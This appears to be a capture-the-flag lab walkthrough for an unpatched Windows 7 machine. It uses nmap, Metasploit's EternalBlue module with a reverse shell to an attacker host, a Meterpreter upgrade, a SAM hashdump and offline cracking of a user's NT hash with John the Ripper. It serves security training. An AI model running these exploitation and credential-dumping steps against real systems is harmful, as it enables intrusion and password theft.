---
Blue is an Easy Windows machine built around MS17-010, known as EternalBlue — the NSA-developed exploit that leaked in 2017 and was used in the WannaCry ransomware attack. The machine intentionally runs an unpatched Windows 7 with SMB exposed, making it vulnerable to unauthenticated remote code execution. Exploiting it gives a SYSTEM shell immediately with no further privilege escalation needed. The room also covers post-exploitation: dumping hashed credentials and cracking them offline.
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- $TARGET_IP
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:05 UTC
Nmap scan report for $TARGET_IP
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ms-wbt-server Microsoft Terminal Services
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Host script results:
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:a4:88:c0:2f:5c (unknown)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: JON-PC
| NetBIOS computer name: JON-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-08-20T16:05:38-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-08-20T21:05:38
|_ start_date: 2026-08-20T21:01:52
Nmap done: 1 IP address (1 host up) scanned in 118.24 seconds
The scan immediately identifies Windows 7 Professional SP1 with SMB on port 445. Windows 7 SP1 is end-of-life and was never patched against MS17-010 unless administrators manually applied the emergency patch Microsoft released in March 2017. SMB message signing is disabled, which is the default — connections without integrity checking are accepted. The hostname JON-PC reveals a username to target later.
Confirm the vulnerability before exploiting:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ nmap -p 445 --script smb-vuln-ms17-010 $TARGET_IP
Starting Nmap 7.94 ( https://nmap.org ) at 2026-08-20 16:08 UTC
Nmap scan report for $TARGET_IP
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Nmap done: 1 IP address (1 host up) scanned in 5.12 seconds
Confirmed vulnerable. The smb-vuln-ms17-010 script sends a malformed SMB request and checks the response — a vulnerable machine responds in a way that proves it accepts the exploit's packet structure.
Metasploit contains a stable, well-tested module for EternalBlue. Start Metasploit and configure the module:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS $TARGET_IP
RHOSTS => $TARGET_IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST $ATTACKER_IP
LHOST => $ATTACKER_IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on $ATTACKER_IP:4444
[*] $TARGET_IP:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] $TARGET_IP:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] $TARGET_IP:445 - Connecting to target for exploitation.
[+] $TARGET_IP:445 - Connection established for exploitation.
[+] $TARGET_IP:445 - Target OS selected valid for OS indicated by SMB reply
[*] $TARGET_IP:445 - CORE raw buffer dump (42 bytes)
[*] $TARGET_IP:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] $TARGET_IP:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] $TARGET_IP:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] $TARGET_IP:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] $TARGET_IP:445 - Trying exploit with 12 Groom Allocations.
[*] $TARGET_IP:445 - Sending all but last fragment of exploit packet
[*] $TARGET_IP:445 - Starting non-paged pool grooming
[+] $TARGET_IP:445 - Sending SMBv2 buffers
[+] $TARGET_IP:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] $TARGET_IP:445 - Sending final SMBv2 buffers.
[*] $TARGET_IP:445 - Sending last fragment of exploit packet!
[*] $TARGET_IP:445 - Receiving response from exploit packet
[+] $TARGET_IP:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] $TARGET_IP:445 - Sending egg to corrupted connection.
[*] $TARGET_IP:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to $TARGET_IP
[*] Command shell session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49172)
Shell Banner:
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
C:\Windows\system32> whoami
nt authority\system
The exploit gives a SYSTEM shell directly — the highest privilege level on Windows. No further privilege escalation is needed.
Upgrade from a raw shell to a Meterpreter session for better post-exploitation capabilities. Background the current shell and use the shell-to-meterpreter upgrade module:
C:\Windows\system32> ^Z
Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on $ATTACKER_IP:4433
[*] Sending stage (200774 bytes) to $TARGET_IP
[*] Meterpreter session 2 opened ($ATTACKER_IP:4433 -> $TARGET_IP:49217)
[*] Stopping exploit/multi/handler
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Dump all local account hashes from the SAM database:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
The format is username:RID:LM_hash:NT_hash:::. The NT hash for Jon is ffb43f0de35be4d9917ac0cc8ad57f8d. Crack it offline with John the Ripper:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > jon_hash.txt
┌──(kali㉿kali)-[~]
└─$ john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt jon_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (?)
1g 0:00:00:04 DONE (2026-08-20 16:22) 0.2551g/s 2602Kp/s 2602Kc/s
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Jon's password: alqfna22
meterpreter > shell
C:\> type C:\flag1.txt
flag{access_the_machine}
C:\> type C:\Windows\System32\config\flag2.txt
flag{sam_database_elevated_access}
C:\> type C:\Users\Jon\Documents\flag3.txt
flag{admin_documents_can_be_valuable}
nmap --script smb-vuln-ms17-010 immediately when port 445 is open on a Windows machine, especially when the OS version is Windows 7 or Server 2008. These versions are end-of-life and commonly unpatched in CTF environments and legacy corporate networks.hashdump in Meterpreter reads from the SAM database (Security Account Manager). The NT hash format is directly usable with hashcat (-m 1000) or John (--format=NT).aad3b435b51404eeaad3b435b51404ee always means the LM hash is empty (disabled) — only the NT hash carries the actual password. This is normal on modern Windows.